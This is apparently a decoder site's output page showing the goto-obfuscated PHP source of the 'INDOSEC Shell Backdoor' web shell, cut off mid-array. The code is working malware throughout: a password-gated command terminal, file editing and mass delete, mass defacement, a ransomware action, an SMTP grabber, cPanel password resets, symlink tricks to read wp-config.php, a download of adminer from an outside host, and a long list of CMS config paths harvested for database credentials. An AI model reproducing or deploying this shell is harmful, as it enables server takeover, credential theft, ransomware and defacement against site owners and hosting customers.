ADJDADj1DMAEBAAk0ogA8EEAQGYIACcEAGSGAHA6KQDXIgAgl0wA3kIAPEMAQGYIACcEAGSGAHBCAEBmCAAnBABkhgBwQgBAZggAJwQAZIYAcEIAQGYIACcEAGSGAHBCAEBmCAAnBABkhgBwQgBAZggAJwQAZIYAcEIAQGYIAKf8AIxHAEAyLABNCIB3CADIDAHghACAzBAATggAyAwB4IQAgMwQAE4IAMgMAeCEAIDMEABOCADIDAHghACAzBAATjVjaAAOIgAgp5MCMIMGYCcC4Er1mL/SOg7+EQEAKeUHYMSMxXrzzl8jAG5Un3Wh1vHZ+wgASOmkAEy/SW/++HUEwI2qURdoXYf+LxOAcdfcf8fEeT96WOTxAuSx92187NHY2yvW0vOJummL9JZd6xEANyrrZ2jdR3dmAnD2lf/y9UkLH2U3phr2uAAGwNr724fv2L/1iZfp+cSwyfP0E3s2IgBulA+fpCWO780E4KxLvjdn6o2rXiWKooU9LoB+2bb56Rv3fO2z363bRi8lasddobfF3kEA3CitHaPpbQdL6Nny2nGXnzXr79ZvU1StOuxxAfTHtsyOD/510Zy22PbP6MXEkNGzUp2ff4AAuFFSVa8RRS1JdR4uV7WSIZfd+/FLpUPOmBP2uAD6o3ce2bajYfptlpnqLB82PqFGylLdxz5BANyIlNVq9BE/mo4fL6cXqybMf+TWcVffuyrscQH0J7a54Z7GDT95hZ7tKq0enVC0SDrZuh8BcEONlquKGo2aekcmAGW1Y+suvvO9N7RoxeiwxwbQFzMd//z3ay66Mdl2oIVe7IpWjkjQ03S6u9kKe2y9ETYARNVUVY1GLCNZRi9V0m3IpEXLbxl7+T//NOyhAfTlwPZnHtq7fskv6dlOunVHSquTtm0ZZqoLAXA7Nq10SMTUO9k7ASwAVdGKYTUXfm/T6oq6yVeHPTiAnuIteza/v27u3en4iXZ6sYtu3SVV9Tq9bNhW2g57fL0ROgD0KYBGb7jMOwF0q2Jb1RnnnvmV7/7m+Wj50IlhDxAgJ51o3fenX1z/911HPjpMnMnPtgR9EEuZepfJ3hsMe4y9ETkAbHgqfSoQJZaRexqQ2arHzB57/m2vrCqprJsc9ggBUt0te/780q33dBz8wwF6sTu30V1YtvufJlZayN1/RvAA0PEpWoTYZv5eAItAeUXdlOEzbn3x7qpRM+cqdF8h7IFC8bHp7O469OGmna/cvjresvs4/RJ7wY9N/syjP3v7zzKSBvvWsMfaF/EDkFn+q0TpbcheC6ggTgDYaRn7+tlX3nXl2Dl33h4pHzpewUpBCACd+KaRaG06sG3Ni/u3PrmVfiVNv5ykW5w4AYjTPVedWPTRn9js0R8B4KBmN7YXwJ4KVGQ3tkfAohCNlNWU1M+85cJRF/3t3Iq6SecpkdJaulNQSrdI2IMH+bFX8emm24beFm/Z+5dD7/3bpqMf/vJ9I9meon/MJr9OnEf/eHZL0mevKTr32eQXdvefkSEADAsAm8y5CJRnt7Ls16LsexStJDJk1MyaqvoZ47TSIcO1aPkIWuKSsAcPErPMlJlONJt65/GuoztjnYc+bLfNFNutZxObTX4WAfbon8huyezXct8jNFkCkH0q8EUEMh8SIk4AMnsB2U3Lfp+StwHwsvM2NqnZqr40+fLRPxcAdj5/8gu7658j0wTJjwCb7KU9tmj2zxAB8FNvk59N8Nzkz9/SRKLJz8g2OXIRYJM896hfkrdFyKkRkPHfCWKw807zJz/bUnlbbm/AJBJNfkbGiZGLQH4IInmn2AsAv/T16J/bA8id5ia+VJOfkXVi5E9srZctFwgEAHj0DEAuAj23/O+TiuwTI3+Cq+TkiY+nAMCr51OA/BDkLks58XMKZWLkT/Sej/qF8m+EcORHoOeEl3bi5xTq5CjUfxeES/oJ3xMmCkARQwAAitj/A3tLUh6QkRN4AAAAAElFTkSuQmCC"; } goto RynAI; QkJDe: if (strlen($file) > 25) { $_file = substr($file, 0, 25) . "...-." . $ext; } else { $_file = $file; } goto C9fc3; RynAI: echo "" class="ico2"></img>"; goto QkJDe; Wa24m: if (is_writable($path . "/" . $file)) { echo "<font color="#00ff00">"; } elseif (!is_readable($path . "/" . $file)) { echo "<font color="red">"; } goto SE_My; WpZsQ: if (!is_file($path . "/" . $file)) { continue; } goto a2pTn; GwpMa: $ftime = date("d/m/y G:i", filemtime("{$path}/{$file}")); goto WpZsQ; a2pTn: echo "<tr class="text-center">
\xa		\x9\x9			<td class="pinggir"><img src=""; goto CIjmO; SE_My: echo perms($path . "/" . $file); goto FrNqh; C9fc3: echo " <a href="?dir=" . $path . "&aksi=view&file=" . $path . "/" . $file . "">" . $_file . "</a></td>
\x9\x9			\x9\x9<td>" . formatSize(filesize($file)) . "</td>
\xa		\x9\x9\x9	\x9<td>" . $ftime . "</td>
	\x9\x9	\x9	\x9<td><a href="?dir=" . $path . "&aksi=chmod_file&file=" . $path . "/" . $file . "" class="text-center">"; goto Wa24m; aH573: } goto yhEJG; KOm7m: function aksiMasdel($dir, $file, $imgfol, $imgfile) { goto jS6PS; OXuiS: exit; goto uI4h7; OsYeX: if ($_POST["start"]) { goto VV5JB; VV5JB: echo "[ <a href='?dir={$dir}'>Kembali</a> ]\xd
	\x9<textarea class='form-control' rows='13' disabled=''>"; goto B1yel; yRFRT: echo "</textarea><br/>"; goto tXDAr; B1yel: hapus_massal($_POST["d_dir"], $_POST["d_file"]); goto yRFRT; tXDAr: } else { echo "<form method='post'>\xd\xa\x9	\x9<h5>{$imgfol} Lokasi :</h5>
\x9	\x9<input type='text' name='d_dir' value='{$dir}' class='form-control'><br/>
\x9\x9\x9<h5>{$imgfile} Nama File :</h5>
\xa			<input type='text' name='d_file' placeholder='[Ex] index.php' class='form-control'><br/>
\xa			<input type='submit' name='start' value='Delete!!' class='btn btn-danger form-control'>
\xa\x9</form>"; } goto OXuiS; jS6PS: function hapus_massal($dir, $namafile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { goto YESjG; YESjG: $dirc = "{$dir}/{$dirb}"; goto TPAtN; eAL_l: if ($dirb === ".") { if (file_exists("{$dir}/{$namafile}")) { unlink("{$dir}/{$namafile}"); } } elseif ($dirb === "..") { if (file_exists('' . dirname($dir) . "/{$namafile}")) { unlink('' . dirname($dir) . "/{$namafile}"); } } else { if (is_dir($dirc)) { if (is_writable($dirc)) { if ($lokasi) { goto RPp5E; gesWc: $massdel = hapus_massal($dirc, $namafile); goto Q8i86; RPp5E: echo "{$lokasi} > Terhapus
"; goto Epide; Epide: unlink($lokasi); goto gesWc; Q8i86: } } } } goto kyAud; TPAtN: $lokasi = $dirc . "/" . $namafile; goto eAL_l; kyAud: } } } goto OsYeX; uI4h7: } goto OBiJL; GhJRN: if ($_GET["aksi"] == "passwbypass") { aksiBypasswd($dir, $file); } goto wrsRs; qap3T: echo "\x9\x9\x9</div>\xd
\x9\x9</div>\xd
	</body>
</html>"; ?>

Did this file decode correctly?

Original Code

<?php 
 goto ZQ018; hn1q4: $paths = explode("/", $path); goto TYnbq; yOFw_: if ($_GET["aksi"] == "smtpgrab") { scj($dir); } goto TLIVZ; p4LcE: if (!isset($_SESSION[md5($_SERVER["HTTP_HOST"])])) { if (isset($_POST["pass"]) && md5($_POST["pass"]) == $aupas) { $_SESSION[md5($_SERVER["HTTP_HOST"])] = true; } else { login_shell(); } } goto EzpS3; t4EOb: function aksiAdminer($dir, $file) { goto GzENx; wmcT9: function adminer($url, $isi) { goto Wje3x; NnYxi: flush(); goto EmKHC; qJv2q: fclose($fp); goto MKoWR; BCGLr: curl_close($ch); goto qJv2q; KLWD0: curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); goto sogRO; Wje3x: $fp = fopen($isi, "w"); goto q7ph0; Xk1u1: curl_setopt($ch, CURLOPT_FILE, $fp); goto E40hi; MKoWR: ob_flush(); goto NnYxi; iT8Aj: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto Xk1u1; feIq0: curl_setopt($ch, CURLOPT_URL, $url); goto KLWD0; q7ph0: $ch = curl_init(); goto feIq0; E40hi: return curl_exec($ch); goto BCGLr; sogRO: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto iT8Aj; EmKHC: } goto LP9LL; LP9LL: if (file_exists("adminer.php")) { echo "<a href='{$full}/adminer.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login Adminer</a>"; } else { if (adminer("https://flow.sytes.net/arrow/adminer.txt", "adminer.php")) { echo "<p class='text-center'>Berhasil Membuat Adminer</p><a href='{$full}/adminer.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login Adminer</a>"; } else { echo "<p class='text-center text-danger'>Gagal Membuat Adminer</p>"; } } goto EZ8L5; EZ8L5: exit; goto GvZfE; GzENx: $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); goto wmcT9; GvZfE: } goto Mc7Gl; hNteG: echo "Path : "; goto hhyOO; KpT3J: if ($_GET["aksi"] == "ransom") { ransom($dir, $file); } goto yOFw_; wJqsn: $default_action = "FilesMan"; goto ZW7rE; TYnbq: if (isset($_GET["dir"])) { $dir = $_GET["dir"]; chdir($dir); } else { $dir = getcwd(); } goto ibkH5; Yfk60: @error_reporting(0); goto EeAx4; gBjsA: if ($_GET["aksi"] == "disabfunc") { disabFunc($dir, $file); } goto UX23f; d8yGS: function editFile($dir, $file, $nfile, $imgfile) { goto JJafO; VkwRn: echo "<form method='POST'>\xd
\x9\x9<h5>{$imgfile} Edit File : {$nfile}</h5>
\xa\x9\x9<textarea rows='13' class='form-control' name='isi'>" . htmlspecialchars(@file_get_contents($file)) . "</textarea><br/>\xd
\x9\x9\x9<button type='sumbit' class='btn btn-info btn-block' name='edit_file'>Update</button>
	</form>"; goto ELdwK; ELdwK: if (isset($_POST["edit_file"])) { goto ZPFcD; ZPFcD: $updt = fopen("{$file}", "w"); goto vocA9; tko2S: if ($hasil) { goto iRXHD; fKfsI: swall($swa, $text, $dir); goto U6Plm; iRXHD: $swa = "success"; goto gFaqE; gFaqE: $text = "Berhasil Update File"; goto fKfsI; U6Plm: } else { goto BZl97; BZl97: $swa = "error"; goto ihdSj; sm6GS: swall($swa, $text, $dir); goto EI2Um; ihdSj: $text = "Gagal Update File"; goto sm6GS; EI2Um: } goto qLYiP; vocA9: $hasil = fwrite($updt, $_POST["isi"]); goto tko2S; qLYiP: } goto lOisP; JJafO: echo "[ <a href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ]  [ <a class="active" href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ]  [ <a href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ]  [ <a href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]"; goto VkwRn; lOisP: } goto w5cNg; tlikY: if ($_GET["aksi"] == "cgi") { aksicgi($dir, $file); } goto BEmbQ; b023T: @ini_set("max_execution_time", 0); goto IxIib; zepmk: function view($dir, $file, $nfile, $imgfile) { echo "[ <a class="active" href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ]  [ <a href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ]  [ <a href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ]  [ <a href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]
\xa\x9<h5>" . $imgfile . " Lihat File : " . $nfile . "</h5>\xd
	<textarea rows="13" class="form-control" disabled="">" . htmlspecialchars(@file_get_contents($file)) . "</textarea><br/>"; } goto d8yGS; cx3uU: if ($_GET["aksi"] == "buat_folder") { buatFolder($dir, $imgfol); } goto rejeN; wDUXc: if ($_GET["aksi"] == "buat_file") { buatFile($dir, $imgfile); } goto QId2Q; Ion9F: if (isset($_GET["cmd"])) { echo "<pre class='text-white'>" . exe($_GET["cmd"]) . "</pre>"; exit; } goto hWdMx; lIdeL: echo "<div class="container">
\xa		\x9<h1 class="text-center"><a href="https://facebook.com/IndoSecOfficial" style="color:#ffffff;">{ INDOSEC }</h1>
\x9\x9\x9<center><h5>Shell Backdoor</a></h5></center>
\xa\x9\x9	<hr/>\xd\xa\x9		<div class="text-center">\xd\xa		\x9	<div class="d-flex justify-content-center flex-wrap">
\x9\x9\x9\x9\x9<a href="?" class="fiture btn btn-danger btn-sm"><i class="fa fa-home"></i> Home</a>\xd
			\x9	<a href="?dir=" . $dir . "&aksi=upload" class="fiture btn btn-danger btn-sm"><i class="fa fa-upload"></i> Upload</a>
		\x9\x9	<a href="?dir=" . $dir . "&aksi=buat_file" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus-circle"></i> Buat File</a>
\xa\x9		\x9	<a href="?dir=" . $dir . "&aksi=buat_folder" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus"></i> Buat Folder</a>\xd
					<a href="?dir=" . $dir . "&aksi=masdef" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Mass Deface</a>\xd\xa\x9		\x9	<a href="?dir=" . $dir . "&aksi=masdel" class="fiture btn btn-danger btn-sm"><i class="fa fa-trash"></i> Mass Delete</a>
\xa	\x9\x9\x9	<a href="?dir=" . $dir . "&aksi=jumping" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Jumping</a>\xd
		\x9\x9	<a href="?dir=" . $dir . "&aksi=config" class="fiture btn btn-danger btn-sm"><i class="fa fa-cogs"></i> Config</a>
\xa			\x9\x9<a href="?dir=" . $dir . "&aksi=adminer" class="fiture btn btn-danger btn-sm"><i class="fa fa-user"></i> Adminer</a>
\xa		\x9\x9\x9<a href="?dir=" . $dir . "&aksi=cgi" class="fiture btn btn-danger btn-sm"><i class="fa fa-user"></i> Cgi</a>
\x9	\x9		<a href="?dir=" . $dir . "&aksi=symlink" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-circle"></i> Symlink</a>\xd
\x9	\x9\x9	<a href="?dir=" . $dir . "&aksi=bctools" class="fiture btn btn-danger btn-sm"><i class="fas fa-network-wired"></i> Network</a>\xd\xa\x9	\x9	\x9<a href="?dir=" . $dir . "&aksi=resetpasscp" class="fiture btn btn-warning btn-sm"><i class="fa fa-key"></i> Auto Reset Cpanel</a>\xd\xa	\x9	\x9	<a href="?dir=" . $dir . "&aksi=auteduser" class="fiture btn btn-warning btn-sm"><i class="fas fa-user-edit"></i> Auto Edit User</a>
			\x9\x9<a href="?dir=" . $dir . "&aksi=ransom" class="fiture btn btn-warning btn-sm"><i class="fab fa-keycdn"></i> Ransomware</a>
	\x9\x9		<a href="?dir=" . $dir . "&aksi=smtpgrab" class="fiture btn btn-warning btn-sm"><i class="fas fa fa-exclamation-circle"></i> SMTP Grabber</a>\xd\xa		\x9\x9	<a href="?dir=" . $dir . "&aksi=bypascf" class="fiture btn btn-warning btn-sm"><i class="fas fa-cloud"></i> Bypass Cloud Flare</a>
\xa\x9\x9			<a href="?dir=" . $dir . "&aksi=zip_menu" class="fiture btn btn-warning btn-sm"><i class="fa fa-file-archive-o"></i> Zip Menu</a>\xd
		\x9\x9	<a href="?about" class="fiture btn btn-warning btn-sm"><i class="fa fa-info"></i> About Us</a>\xd\xa		\x9\x9	<a href="?keluar" class="fiture btn btn-warning btn-sm"><i class="fa fa-sign-out"></i> keluar</a>\xd
\x9		\x9</div>\xd\xa		\x9</div>
		\x9<div class="row">
\xa		\x9\x9<div class="col-md-5"><br/>\xd
		\x9		<h5><i class="fa fa-terminal"></i>Terminal : </h5>\xd
	\x9	\x9\x9<form>\xd\xa\x9	\x9		\x9<input type="text" class="form-control" name="cmd" autocomplete="off" placeholder="id | uname -a | whoami | heked">
\xa\x9\x9			</form>
\xa	\x9	\x9	<hr/>\xd\xa	\x9\x9		<h5><i class="fa fa-search"></i> Informasi : </h5>
\xa\x9	\x9\x9	<div class="card table-responsive">\xd\xa	\x9\x9\x9		<div class="card-body">
			\x9\x9		<table class="table infor">
	\x9\x9\x9\x9\x9\x9	<tr>\xd
\x9	\x9		\x9\x9\x9	<td>PHP</td>
\xa\x9\x9		\x9		\x9\x9<td> : " . $ver . "</td>
				\x9\x9\x9	</tr>\xd
	\x9\x9\x9	\x9	\x9<tr>\xd
		\x9\x9	\x9\x9\x9	<td>IP Server</td>
		\x9			\x9		<td> : " . $ip . "</td>\xd\xa	\x9\x9	\x9	\x9\x9</tr>\xd\xa		\x9	\x9	\x9\x9<tr>\xd
	\x9\x9		\x9	\x9	<td>HDD</td>
		\x9	\x9\x9	\x9\x9<td class="d-flex">Total : " . formatSize($total) . " Free : " . formatSize($free) . " [" . $pers . "%]</td>
\xa\x9\x9		\x9		\x9</tr>
\xa\x9\x9\x9					<tr>\xd
\x9	\x9\x9\x9\x9\x9	\x9<td>Domain</td>\xd
			\x9	\x9	\x9\x9<td>: " . $dom . "</td>
\xa\x9\x9\x9\x9	\x9\x9\x9</tr>\xd\xa\x9	\x9		\x9	\x9<tr>\xd\xa				\x9\x9			<td>MySQL</td>
\x9\x9\x9	\x9	\x9\x9	<td>: " . $mysql . "</td>
\xa\x9\x9	\x9\x9\x9\x9\x9</tr>\xd
\x9\x9\x9	\x9	\x9	<tr>\xd\xa	\x9		\x9		\x9\x9<td>cURL</td>\xd
\x9\x9\x9			\x9		<td>: " . $curl . "</td>\xd\xa\x9\x9	\x9			\x9</tr>\xd
\x9		\x9\x9\x9\x9	<tr>
	\x9	\x9			\x9	<td>Mailer</td>\xd
			\x9	\x9\x9\x9	<td>: " . $mail . "</td>\xd\xa\x9	\x9	\x9\x9\x9\x9</tr>\xd\xa\x9	\x9	\x9			<tr>\xd
	\x9\x9\x9\x9	\x9		<td>Disable Function</td>
\xa\x9\x9	\x9\x9\x9	\x9	<td>: " . $show_ds . "</td>\xd
\x9	\x9\x9\x9\x9	\x9</tr>\xd
	\x9	\x9\x9		\x9<tr>
	\x9\x9\x9	\x9\x9\x9	<td>Software</td>
\x9			\x9				<td>: " . $sof . "</td>\xd
\x9	\x9\x9	\x9\x9	</tr>
\xa	\x9\x9		\x9	\x9<tr>\xd
\x9	\x9\x9\x9	\x9		<td>Sistem Operasi</td>
\xa	\x9\x9					\x9<td> : " . $os . "</td>
\xa				\x9\x9	\x9</tr>
\x9\x9	\x9\x9	\x9</table>\xd
		\x9\x9		</div>\xd\xa			\x9	</div><hr/>\xd
	\x9		</div>\xd
		\x9<div class="col-md-7 mt-4">"; goto TyPNd; cqr2q: if ($_GET["aksi"] == "chmod_file") { chmodFile($dir, $file, $nfile); } goto wDUXc; lGLyr: function sym404($dir, $file) { goto KavRl; zXBj0: exit; goto UTuJE; KavRl: $cp = get_current_user(); goto oPEQP; oPEQP: if ($_POST["execute"]) { goto wGkxr; KSJBV: $isi = $_POST["isi"]; goto GQdc9; Uf7R1: echo "<a href="/indosec_sym404/" target="_blank" class="btn btn-success btn-block mb-3">Click Me!!</a>"; goto kYf1I; gdlli: @mkdir("indosec_sym404", 0777); goto YsTJu; YsTJu: $dir = $_POST["dir"]; goto KSJBV; GDVee: $inija = fopen("indosec_sym404/.htaccess", "w"); goto eD0UI; eD0UI: @fwrite($inija, "ReadmeName " . $isi . "\xaOptions Indexes FollowSymLinks
DirectoryIndex ids.html\xaAddType text/plain php html php5 phtml\xaAddHandler text/plain php html php5 phtml\xaSatisfy Any"); goto Uf7R1; GQdc9: @system("ln -s " . $dir . "indosec_sym404/" . $isi); goto rheAQ; wGkxr: @rmdir("indosec_sym404"); goto gdlli; rheAQ: @symlink($dir, "indosec_sym404/" . $isi); goto GDVee; kYf1I: } else { echo "<h2>Symlink 404</h2>
\x9	<form method="post">
\x9		File Target: <input type="text" class="form-control" name="dir" value="/home/" . $cp . "/public_html/wp-config.php"><br/>
\xa\x9\x9\x9Save As: <input type="text" class="form-control" name="isi" placeholder="[Ex] file.txt"/><br/>\xd\xa\x9	\x9<input type="submit" class="btn btn-danger btn-block" value="Execute" name="execute"/>
	\x9\x9<p class="text-muted">NB: Letak wp-config tidak semuanya berada di <u>public_html/wp-config.php</u> jadi silahkan ubah sesuai letaknya.</p>
\xa	\x9</form>"; } goto zXBj0; UTuJE: } goto cJZq9; IxIib: @ini_set("output_buffering", 0); goto dr5yf; TJWJH: if ($_GET["aksi"] == "zip_menu") { zipMenu($dir, $file); } goto RG3Mn; xBMpg: if ($_GET["aksi"] == "auteduser") { autoEdit($dir, $file); } goto KpT3J; w5cNg: function renameFile($dir, $file, $nfile, $imgfile) { goto yD2Fs; JTvjF: if (isset($_POST["rename_file"])) { goto SAthl; Hlv1z: rename($baru, $lama); goto nzZKl; xoiVu: $baru = $_POST["namanew"]; goto Hlv1z; nzZKl: if (file_exists($baru)) { goto Qirij; Qirij: $swa = "success"; goto Dddy9; Dddy9: $text = "Nama {$baru} Telah Digunakan"; goto ck4py; ck4py: swall($swa, $text, $dir); goto YxXCn; YxXCn: } else { if (rename($lama, $baru)) { goto sslmU; sslmU: $swa = "success"; goto XDIC8; ZR2ak: swall($swa, $text, $dir); goto woAhs; XDIC8: $text = "Berhasil Mengganti Nama Menjadi {$baru}"; goto ZR2ak; woAhs: } else { goto IvPY4; Cwn4U: swall($swa, $text, $dir); goto NMXSn; IH4Ak: $text = "Gagal Mengganti Nama"; goto Cwn4U; IvPY4: $swa = "error"; goto IH4Ak; NMXSn: } } goto ywxkr; SAthl: $lama = $file; goto xoiVu; ywxkr: } goto n9_VX; CR6jN: echo "<form method='POST'>
\xa\x9\x9<h5>{$imgfile} Rename File : {$nfile}</h5>
\xa		<input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...' value='{$nfile}'><br/>
\xa\x9\x9<button type='sumbit' class='btn btn-info btn-block' name='rename_file'>Rename</button>
\xa	</form>"; goto JTvjF; yD2Fs: echo "[ <a href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ]  [ <a href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ]  [ <a class="active" href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ]  [ <a href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]"; goto CR6jN; n9_VX: } goto bMmbo; xz2zF: echo "<a href='#' class='scrollToTop'><i class='fa fa-arrow-up up' aria-hidden='true'></i></a>"; goto qap3T; EzpS3: if (isset($_GET["file"]) && $_GET["file"] != '' && $_GET["aksi"] == "download") { goto zVQWx; kuX0n: header("Content-Disposition: attachment; filename="" . basename($file) . """); goto RA6oN; SWf0q: header("Content-Description: File Transfer"); goto ydkUx; ydkUx: header("Content-Type: application/octet-stream"); goto kuX0n; W0ugW: $file = $_GET["file"]; goto SWf0q; ECZ_h: header("Content-Length: " . filesize($file)); goto pHJCM; tL3ea: exit; goto Quuh6; pHJCM: readfile($file); goto tL3ea; zVQWx: @ob_clean(); goto W0ugW; JOHFN: header("Cache-Control: must-revalidate"); goto hcZgn; hcZgn: header("Pragma: public"); goto ECZ_h; RA6oN: header("Expires: 0"); goto JOHFN; Quuh6: } goto ZCeW1; ML2sV: if ($_GET["aksi"] == "upload") { aksiUpload($dir); } goto o9j8b; pk13s: $show_ds = !empty($ds) ? "<a href='?dir={$dir}&aksi=disabfunc' class='ds'>{$ds}</a>" : "<a href='?dir={$dir}&aksi=disabfunc'><font color=green>NONE</font></a>"; goto SnXTb; BEmbQ: if ($_GET["aksi"] == "symlink") { aksiSym($dir, $file); } goto QWWRl; RG3Mn: if (isset($_GET["path"])) { $path = $_GET["path"]; chdir($path); } else { $path = getcwd(); } goto mP4ds; mZGym: function aksiConfig($dir, $file) { if ($_POST) { goto nugCa; tBTEG: foreach ($user_config[1] as $user_con) { $user_config_dir = "/home/{$user_con}/public_html/"; if (is_readable($user_config_dir)) { $grab_config = array("/home/{$user_con}/.my.cnf" => "cpanel", "/home/{$user_con}/public_html/config/koneksi.php" => "Lokomedia", "/home/{$user_con}/public_html/forum/config.php" => "phpBB", "/home/{$user_con}/public_html/sites/default/settings.php" => "Drupal", "/home/{$user_con}/public_html/config/settings.inc.php" => "PrestaShop", "/home/{$user_con}/public_html/app/etc/local.xml" => "Magento", "/home/{$user_con}/public_html/admin/config.php" => "OpenCart", "/home/{$user_con}/public_html/application/config/database.php" => "Ellislab", "/home/{$user_con}/public_html/vb/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/forum/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/forums/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/cc/includes/config.php" => "Vbulletin", "/home/{$user_con}/public_html/inc/config.php" => "MyBB", "/home/{$user_con}/public_html/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/shop/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/os/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/oscom/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/products/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/cart/includes/configure.php" => "OsCommerce", "/home/{$user_con}/public_html/inc/conf_global.php" => "IPB", "/home/{$user_con}/public_html/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/wp/test/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/blog/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/beta/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/portal/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/site/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/wp/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/WP/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/news/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/wordpress/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/test/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/demo/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/home/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/v1/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/v2/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/press/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/new/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/blogs/wp-config.php" => "Wordpress", "/home/{$user_con}/public_html/configuration.php" => "Joomla", "/home/{$user_con}/public_html/blog/configuration.php" => "Joomla", "/home/{$user_con}/public_html/submitticket.php" => "^WHMCS", "/home/{$user_con}/public_html/cms/configuration.php" => "Joomla", "/home/{$user_con}/public_html/beta/configuration.php" => "Joomla", "/home/{$user_con}/public_html/portal/configuration.php" => "Joomla", "/home/{$user_con}/public_html/site/configuration.php" => "Joomla", "/home/{$user_con}/public_html/main/configuration.php" => "Joomla", "/home/{$user_con}/public_html/home/configuration.php" => "Joomla", "/home/{$user_con}/public_html/demo/configuration.php" => "Joomla", "/home/{$user_con}/public_html/test/configuration.php" => "Joomla", "/home/{$user_con}/public_html/v1/configuration.php" => "Joomla", "/home/{$user_con}/public_html/v2/configuration.php" => "Joomla", "/home/{$user_con}/public_html/joomla/configuration.php" => "Joomla", "/home/{$user_con}/public_html/new/configuration.php" => "Joomla", "/home/{$user_con}/public_html/WHMCS/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whmcs1/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Whmcs/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whmcs/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whmcs/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/WHMC/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Whmc/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whmc/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/WHM/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Whm/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/whm/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/HOST/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Host/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/host/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/SUPPORTES/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Supportes/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/supportes/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/domains/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/domain/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Hosting/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/HOSTING/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/hosting/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CART/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Cart/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/cart/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/ORDER/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Order/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/order/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CLIENT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Client/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/client/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CLIENTAREA/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Clientarea/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/clientarea/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/SUPPORT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Support/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/support/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BILLING/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Billing/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/billing/submitticket.php" => "WHMCS", 